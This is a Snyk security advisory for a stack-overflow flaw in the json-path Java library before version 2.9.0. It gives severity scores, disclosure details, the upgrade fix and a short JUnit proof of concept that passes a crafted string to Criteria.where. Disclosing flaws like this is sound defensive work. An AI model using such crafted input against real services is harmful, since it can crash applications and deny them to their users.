Buffer Overflow Affecting com.jayway.jsonpath:json-path package, versions [,2.9.0)


0.0
low

Snyk CVSS

    Attack Complexity High

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (16th percentile)
Expand this section
NVD
5.3 medium
Expand this section
Red Hat
5.3 medium

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JAVA-COMJAYWAYJSONPATH-6140361
  • published 21 Jan 2024
  • disclosed 27 Dec 2023
  • credit PoppingSnack

How to fix?

Upgrade com.jayway.jsonpath:json-path to version 2.9.0 or higher.

Overview

Affected versions of this package are vulnerable to Buffer Overflow via the deprecated Criteria.parse or Criteria.where methods. An attacker can disrupt the regular operation of the application by supplying a specially crafted input that triggers a stack overflow. Exploiting this vulnerability requires insecure configurations on the server side, for example - handling requests in a one single thread.

PoC

import com.jayway.jsonpath.Criteria;
import org.junit.Test;
public class CriteriaFuzzerWhere1 {
    // Stack overflow
    @Test
    public void whereFuzzerTest() {
        try {
            Criteria result = Criteria.where("[']',");
        } catch (Exception e) {
        }
    }
}